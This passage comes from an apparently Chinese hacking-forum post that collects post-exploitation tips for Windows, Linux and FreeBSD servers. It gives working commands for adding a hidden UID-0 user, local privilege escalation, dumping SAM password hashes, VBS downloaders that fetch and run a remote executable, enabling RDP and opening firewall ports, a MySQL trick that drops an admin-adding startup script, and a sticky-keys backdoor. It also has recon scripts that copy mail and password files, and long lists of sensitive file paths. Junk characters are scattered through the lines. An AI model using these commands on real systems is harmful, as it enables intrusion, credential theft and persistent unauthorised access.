15&catid=32:languages&Itemid=47

重新设置密码
: d# a0 ?0 J/ {/ n2 L" Q  Hindex.php?option=com_user&view=reset&layout=confirm
  K/ K3 T4 h/ ~2 W0 R* |- u/ a
5 u# ]5 _" X$ s七: Linux添加UID为0的root用户
/ u  n. l3 d/ M: n# Kuseradd -o -u 0 nothack
+ o! i( c, h# d. B2 }$ Q& c7 q
7 j$ r. X8 Y: C  o八.freebsd本地提权
[argp@julius ~]$ uname -rsi
: p( R1 p: i9 S! F5 j; k, r; p* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
1 C2 v+ \) j; T* vfs.usermount: 1
7 y# {( G* f& P1 B% I* P7 j5 e2 ^* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
" W( m! o. y3 f6 m  w3 \*
calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
  E9 B, ~( B" l( }, R* M6 F——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
! u4 V# M3 J( p* x————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
; s, ^* z/ |3 Q0 X6 Qalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
5 ]7 L! H6 \! g, P) _8 Y: v关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

; \; r' ^$ x! t1 {: @" {, f# X- p提权先执行systeminfo
token 漏洞补丁号 KB956572
( w/ C2 ^* F7 M* c7 \8 kChurrasco          kb952004
0 ^. V* B: y2 e; a0 W7 K  P/ G命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
: W  y, k' G7 O* _  j, ^) z0 |& C2、收集系统信息的脚本  
for window：
. j. E; B: r/ G; _7 ^& F, F2 T
4 I0 q$ V& y. j, F2 d9 l@echo off
echo #########system info collection
systeminfo
ver
3 x  W6 ]3 a% d- O2 O% W* U% T3 A9 hhostname
net user
2 l) U+ _: Y% ^' f# n% Nnet localgroup
  `8 R" {6 R2 J$ h( T3 ]net localgroup administrators
% s- ]) d, b" znet user guest
1 s3 ?+ g/ a( S) snet user administrator

echo #######at- with   atq#####
echo schtask /query
6 E; R- C7 W/ ]; O. V
echo
echo ####task-list#############
tasklist /svc
echo
0 G9 N6 r& \% ]2 Aecho ####net-work infomation
$ T$ w7 G) A; A. y) @/ R" ^2 ?ipconfig/all
route print
arp -a
! j! S0 ^) `, \  L# ynetstat -anipconfig /displaydns
" e, s, q0 V' ~& h% Pecho
9 n* O% a% ?( _7 f  R" X0 qecho #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F
4 s- j' A0 o) x; G6 jfor linux：
3 U2 k) d9 A( w( t$ [6 M, @
#!/bin/bash
5 Q8 n9 `9 E3 w7 z$ M4 h4 [3 S
9 |; D3 o/ R( L( ?+ S. Z5 eecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
" {% s& L! H( o* Y+ S/ E+ Decho #######basic infomation##
cat /proc/meminfo
/ f7 R0 H& J: \% {4 Xecho
( A+ x* x# Q7 b' v  ?# C* k2 y$ Ccat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
; a, `$ |  V; {& r) r8 v9 l######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


2 N" L# J# ~7 }' H/ `+ ]# `$ ^echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
3 e# P2 ~  ]. W9 X" K2 \echo #####about var#####
* ?. J% N0 j1 A! h8 Bset
6 w8 \" g  w  {* K4 G1 O' g
/ Y3 G; d3 N# Eecho #####about network###
! N+ W7 K8 d$ q- B# K; W####this is then point in pentest,but i am a new bird,so u need to add some in it
* v6 M1 T7 @) V3 ^  ^cat /etc/hosts
& j' _  R7 P+ p9 ^2 Z! nhostname
ipconfig -a
arp -v
echo ########user####
/ J5 V; J6 Y0 P& {* N5 Q5 Ycat /etc/passwd|grep -i sh

echo ######service####
) t% p+ y, i* l/ o! E2 Zchkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
+ ^" I& C6 U9 P* c( M! _  g
locate passwd >/tmp/password 2>/dev/null
, I8 |  F3 g% zsleep 5
7 O# E: G$ k. U! \1 _* ulocate password >>/tmp/password 2>/dev/null
0 E( ~" w' g+ w9 _3 Csleep 5
locate conf >/tmp/sysconfig 2>dev/null
6 G. Q9 _' L5 {) J9 Hsleep 5
" I% K; m. t" b8 g& [, q; Qlocate config >>/tmp/sysconfig 2>/dev/null
& r: d6 h! J% Y/ C2 N" f, M) asleep 5

( Z0 c5 q- v% j+ A8 g$ }4 L###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
; L0 b6 ~7 y3 W( ?7 V: h% [——————————————
& }" o: o8 y. Q; m% T3 ~3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
! c  S  \  d/ i; y6 d; i               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
9 ~9 [2 o- A- t( D6 b; ]+ L; v) F注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
% q' o5 M  V% s) m$ \/ _/ n6 t4 s接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
* N/ H( X" \% u& B- ^& r* thash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
( v  y" q8 Q% L7 @1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
# C6 [, d6 [9 n* r' A$ u2 Decho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
# S  o; @  `3 X5 O1 m) Gecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
; l) c1 A( p6 g9 Jecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
2 C5 Y4 \; z$ c7 Q# m0 P) wcftmon.vbs
: }- X3 A" J' F( w9 F/ \% ^4 a
  t9 z  H% a4 _& g' Z  P2
On Error Resume Nextim iRemote,iLocal,s1,s2
. _" ~2 ~& h: r6 v8 g( m: piLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
. d2 u$ d( q% o* N! J& jSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
& D4 Y1 K" r! {  P8 v, rsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
# g0 q  P* a: r  Y
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
5 g& M' d2 U% ^+ e  F1.查询终端端口
' O" {4 h4 i1 j) O# gREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
( T& x- @9 W7 l$ g+ B4 X& @9 S+ mREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
, I  k3 d/ o2 M. a" r( ~& ~, h$ @REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
  s3 V+ Q5 O+ d' t' r————————————————
% x; K& L  R7 M$ r7 Y6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
4 X8 j3 U: X$ r: P5 _insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
# p- U7 \6 I, F1 I; C$ i% }insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
1 v- T% h' Q+ v9 ~# K9 [6 o  oselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
2 S$ r, f% `4 k9 H) O8 V) {" M————————————————————
& T$ E% v' e# w* l7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
, b% M" h; Y# S& B2 X6 M0 r3 G: M, J8、for /d %i in (d:\freehost\*) do @echo %i
; O9 u0 ]: T6 W& b
列出d的所有目录
1 w! N+ B2 x( F4 L# E3 t, c  
  for /d %i in (???) do @echo %i

& C0 u! s2 I  a# l# t! r+ J把当前路径下文件夹的名字只有1-3个字母的打出来
& ^$ G! S- B0 v
2.for /r %i in (*.exe) do @echo %i
  
& v  k* |6 K3 a7 \) M以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
' Z" w$ }# |( E3 n3 {& r/ N
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

) h. m( s& @: e3.for /f %i in (c:\1.txt) do echo %i
  
- r" M9 X& }- t  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
2 s9 U0 {3 j& m6 V/ H2 p' s●注册表:
/ w" s, ^5 O# Q0 w( y9 s1.Administrator注册表备份:
) K4 Y% M; w$ C) J( w% Rreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
. c! k% l  Q8 ?. i/ uHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
8 w. Y8 b( J& H修改PortNumber.
1 A" B/ [$ z# b0 |4 \
: g0 w+ t5 d7 O9 I: q# k* b  f3.清除3389登录记录:
) b) a8 Q) m4 C0 x: e8 wreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
6 m' Y, b( T! a2 [, \
4.Radmin密码:
! ^& B- y/ j: I8 ]' ~, Y1 creg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
+ _5 X2 b- R1 n! x% sREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
, Q) A# T3 U1 z. greg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
+ C  x- S* J% E# A或者
& h! ?8 A! {8 I& L9 u4 z9 d8 Xnetsh ipsec dynamic set config ipsecexempt value=0

$ \* r% R  X) W" a# Z( B3 A7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
: U& H4 L# F# Z$ U, i+ j
  e  D1 [" A/ G* O3 W8.系统口令恢复LM加密:
- ]$ X0 z, Y% j. d2 h7 _reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

4 D5 j  F9 q6 N4 b9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
9 P; i/ J8 F" C  |2 y- o! h6 X' }reg save hklm\system c:\system.hive
  {7 y! k/ H6 Yreg save hklm\security c:\security.hive

- ]+ H9 s+ G* r10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

& r( E1 R/ x1 z# n* }( o7 b" s: Jreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
+ n9 b. U4 W5 k* K3 q$ N0 s-----------------------------------
星外vbs(注：测试通过，好东西）
- a+ W+ C* A9 t; ~6 K, qSet ObjService=GetObject("IIS://LocalHost/W3SVC")
1 N1 O4 ?. z0 ~& n8 iFor Each obj3w In objservice
! t  x  Q4 V( ~8 TchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
& c' `0 ~9 F) Fif IsNumeric(childObjectName)=true then
# M; n& ?: u) q) s. h3 n2 Wset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
8 g9 {$ l& h: K: q" K* \% L3 p& Fexit for
msgbox("error!")
  q6 P1 R, [  u, ]% k5 P  swscript.quit
end if
1 z! i; F  p! R" xserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
1 h& d1 v2 B6 ~% D: mset IISweb=iis.getobject("IIsWebVirtualDir","Root")
, E; N, L: N4 A2 |user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
' e3 m  x& g! ?9 rpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
8 L9 [# [3 J* e) \& Q3 l6 l  Hend if
# m) X' S- Y# q2 f* xNext
; ~" \8 K. z& m; J6 Y- X, Pwscript.echo list
Set ObjService=Nothing
. x1 U: k5 _( S! B  V3 Uwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
+ e9 A, s( a! w! @+ mWScript.Quit
1 y. h' L1 E  y- q$ P复制代码
! q+ E2 N' m7 R: W8 v----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
; W. n1 d+ j: ^: \$ C1 |复制代码
- z; [, j6 E/ W然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
2 H: ?; L! C/ s4 c* E; f* wPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
6 t/ T( _+ ^, B 原因是ASP大马里有这样的代码：（没有就没事儿了）
5 W% d9 E; p0 u8 `( x url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
8 r/ M9 I* B" @- d 解决方法
/ N* R' Z6 E+ @8 j url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
& [* i# S- G  {
$ u6 z& `# O+ r+ H==============================================================
LINUX常见路径：

/etc/passwd
/etc/shadow
% `. Z* U" o) b3 ]% X) a* B. r) u/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
/ k1 K0 A, e4 o+ [4 b/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
7 M: ^* x" z5 R5 A6 s' i/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
3 v4 w) E, q, Q4 J' s/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
* t5 s' N& S) z; h/usr/local/apache/htdocs/index.html
2 u: @& \% r, @! u/usr/local/apache/htdocs/index.php
6 N% k  x! |7 G4 ]/usr/local/apache2/htdocs/index.html
3 r" z  A; |3 J# {! g6 t. f- y# O/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
9 }8 ]! k* C1 b( b8 H/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/ L6 `0 [/ n" [* z: g/www/php/php.ini
/www/php4/php.ini
0 Y- G! P  n# L' g5 j1 [/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
& s! l# u, C1 |: K% C" j/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
& o  X; Z. X4 r$ w" @5 e" d4 f8 O/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
4 ~0 u0 ]$ T$ Y2 d2 H& j* R/etc/apache2/vhosts.d/00_default_vhost.conf
' h% ]. F7 x1 L" F, d, F, f% j' N/etc/apache2/sites-available/default
- F- X- _' J" h1 o# A3 U/etc/phpmyadmin/config.inc.php
; I1 [  z9 [& q7 K/etc/mysql/my.cnf
% |7 ?' |, n/ Y3 H3 N/ H3 x/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
4 q+ X$ ^8 B. C" W# w1 |/etc/httpd/logs/error_log
! f$ V! n1 y7 o7 c* }8 ^/ p; e/etc/httpd/logs/error.log
+ h  m! T/ Q- v/ v3 j$ u7 z/ f7 X/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
- ~- n% L7 D: u$ u! u/ N5 C5 N/home/apache/conf/httpd.conf
- W" p  u: X3 X( M6 d: G/home/apache2/conf/httpd.conf
0 t. H) H  e' D/var/log/apache/error_log
/var/log/apache/error.log
/ z$ v5 y5 @( X- {5 S3 x/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
1 T# F. B) f! P; q, v/var/log/apache2/error.log
2 h0 S1 u% W/ j& x/var/log/apache2/access_log
/var/log/apache2/access.log
4 B6 f# ^! {6 ~6 D$ v' y3 G" w( `/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
( h5 ~6 J$ b2 z# T* T* T/var/www/logs/access.log
" j# o0 D0 v7 k( A/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
& R- l7 s* G. W/usr/local/apache/logs/access_log
' O- c+ n  X6 w+ |( \9 s' T/usr/local/apache/logs/access.log
! N# M; L# T0 @% C6 x( n6 _% E% e' A4 o/var/log/error_log
/var/log/error.log
% p& J  A1 Q" {9 X# _3 @& A1 d6 u$ f/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
$ `+ C( f) |: k1 b5 ]0 k; e/etc/init.d/httpd
0 m) F: o' }; `3 K/etc/init.d/mysql
) K; S( Y  O% _- N% c/etc/httpd/php.ini
: v0 G$ U5 X3 ^/usr/lib/php.ini
5 b, A& L0 n8 m/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
$ L" T& c2 s2 f1 M4 Q: c$ C1 g" k0 J8 r/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
6 Y/ C8 T- P1 T$ |! C' |& O: n/usr/local/php4/php.ini
5 T: [* i7 J* q8 p9 @0 M) g; Q$ m/usr/local/php4/lib/php.ini
. K1 v5 R. I1 r8 a/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
+ T- i, _3 E9 V1 d3 d5 T/usr/local/apache/conf/php.ini
. G/ E( w( P% N6 |/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
8 @) {" S, c. \4 {% w- s$ n/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
* B  T1 \) h+ o/etc/php4/apache/php.ini
6 e/ e6 I- ?. |% |/etc/php4/apache2/php.ini
8 n) E9 ?$ `" L/etc/php5/apache/php.ini
. D/ ^/ e5 j8 B3 U/etc/php5/apache2/php.ini
/etc/php/php.ini
( a( ]% q, |6 ^& M: Y/ D( u2 k% s/etc/php/php4/php.ini
/etc/php/apache/php.ini
+ n4 g9 [% E8 {) J- c+ L/etc/php/apache2/php.ini
! a: |$ D" F- O: q' G/web/conf/php.ini
* X5 k8 J: l9 A  ^: C6 x- E/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
1 E5 w* ~% ?* i; @! ^" M2 d/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
5 S! E$ G7 J3 `% x/etc/php/cgi/php.ini
6 u! h/ C; o- r, f/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
8 d  G( S. h, e4 F# }- b/php5/php.ini
& K# ~7 r8 C, Z: k' i/php4/php.ini
6 f3 b6 ?% M2 d/php/php.ini
/PHP/php.ini
8 E" ^) c6 f6 q1 F/ v/apache/php/php.ini
/xampp/apache/bin/php.ini
4 r( u1 o* Z# V0 K1 h* v/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
$ h% H4 {) \4 H9 W/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
8 W6 x/ x% B6 M1 i0 Y/var/log/mysql/mysql-bin.log
/var/log/mysql.log
: }1 d2 g2 \: \, |& A$ w/var/log/mysqlderror.log
! i- X! g2 q- ]/ q4 E/var/log/mysql/mysql.log
) I. m9 M, i. s7 K, `' I+ W/var/log/mysql/mysql-slow.log
/var/mysql.log
* K4 `1 m0 \$ {0 s. `% [9 U1 R4 l/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
: d7 v7 Q# Z: D9 _+ ?; z# |- Z- c/etc/mysql/my.cnf
/etc/my.cnf
, |0 ~0 B8 M1 B' U* G1 p/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
5 B' Y' F. N; l5 h9 q! }+ H$ X/usr/local/cpanel/logs/access_log
& V' J7 _* f' Y' k/usr/local/cpanel/logs/error_log
6 B: b( g2 U/ G: h( Q/usr/local/cpanel/logs/license_log
  E$ }  m0 }1 x8 ]! ^/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
% l; P) F4 v5 L$ m) H6 x  B/usr/local/share/examples/php4/php.ini
. s& w% k- ~& G3 k. d0 n/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
0 c$ |3 r1 `: O: I! y# y4 z# M# {( ^
4 P( j8 |# s+ V1 Z) j, e  Pc:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt
' _- G7 S- Z5 `& P' g: y/ g
c:\CMailServer\config.ini
) X4 Y9 q7 `' Xc:\CMailServer\CMailServer.exe
9 ?) J2 Y3 J$ D4 [$ ec:\CMailServer\WebMail\index.asp
2 ^9 c4 f4 V2 Z) n3 |c:\program files\CMailServer\CMailServer.exe
- B8 E8 }4 y0 ]c:\program files\CMailServer\WebMail\index.asp
: x  C4 P4 N; z" }; XC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
6 f6 O" q3 y( _9 X/ b, v$ n0 X$ DC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
2 a& M( g  J% E) D5 H9 v' s
c:\hzhost\databases\url.asp

8 n3 @- s# {4 R' p: I# P" n& ?) Ac:\hzhost\hzclient.exe
8 \, V8 \3 }/ {6 c. k! UC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

5 r4 L& o& r* J- [; P! Z' b4 X6 w7 E0 rC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
, P5 x1 s- v  M. QC:\WINDOWS\web.config
c:\web\index.html
0 t  U6 a7 w( J" ~4 Lc:\www\index.html
) d' e2 r0 E" u1 V0 U0 l2 j* q9 ?c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
$ S7 g. [' W4 c1 j+ yc:\wwwsite\index.asp
9 b  n) C' W7 Mc:\WWWROOT\index.asp
c:\web\index.php
3 D* r0 M# H: F) r# L2 C7 ?c:\www\index.php
7 ^1 W. `( P$ U% D# I3 G- G3 \9 L% Lc:\WWWROOT\index.php
9 ?. z5 X8 f* Y+ a7 Sc:\WWWsite\index.php
c:\web\default.html
4 S2 j' }% C+ i. t" q; C" \c:\www\default.html
c:\WWWROOT\default.html
% S4 r% _, M" \% ~$ T/ rc:\website\default.html
; n" w* D' w* @4 ~' jc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
* u& H* ^7 M/ {# W# f, M6 }& ?0 d' Kc:\WWWROOT\default.asp
c:\web\default.php
6 c9 r( l8 H$ A2 {+ tc:\www\default.php
, k' v: \) d5 M& b, s8 Dc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
% w% O, c2 g! O! DC:\Program Files\Microsoft Office\OFFICE10\winword.exe
7 I! C: ]" d. o+ y1 a6 BC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
; w  e) |/ f- l& U) ?4 h- a  b+ qC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
  m- [. D7 |, \: B/ P- S* L# @/ y8 @C:\Program Files\360Safe\360safe.exe
; e* k$ V* j/ K2 m( D, ~C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
7 U# J2 I, D' C. }c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
# Q( L8 _/ D' l9 u& l- J# @) eC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
6 m# T8 u( q- M) D+ n. |  a% a' GC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
: j4 B7 v, d' Q0 lC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
: B' ^# V; j4 w3 X; a9 s- m5 QC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
6 F) p: O  g( `8 ]0 z% wC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
# l: g. J: n9 b. h) d/ y$ M, DC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
3 G, @/ j" V% i, O6 JE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
  t$ T* J, ?! G  OC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
; Y# b1 i, z/ @4 gC:\Program Files\Symantec\SYMEVENT.INF
6 U. U9 h* ?- Y6 }, R4 o: CC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
! B5 j% Q% b1 N" h! @' TC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
* x7 m4 m( L4 a8 s9 v7 SC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
, h* R0 I% h# @  aC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
8 @3 n2 N% I$ R& Z( `C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
5 w  `# D" P" q: E% I3 k" NC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
5 v3 d: {' c& e: {4 }4 MC:\Program Files\Oracle\oraconfig\Lpk.dll
5 H2 |8 R3 F. X' Y9 ]7 hC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
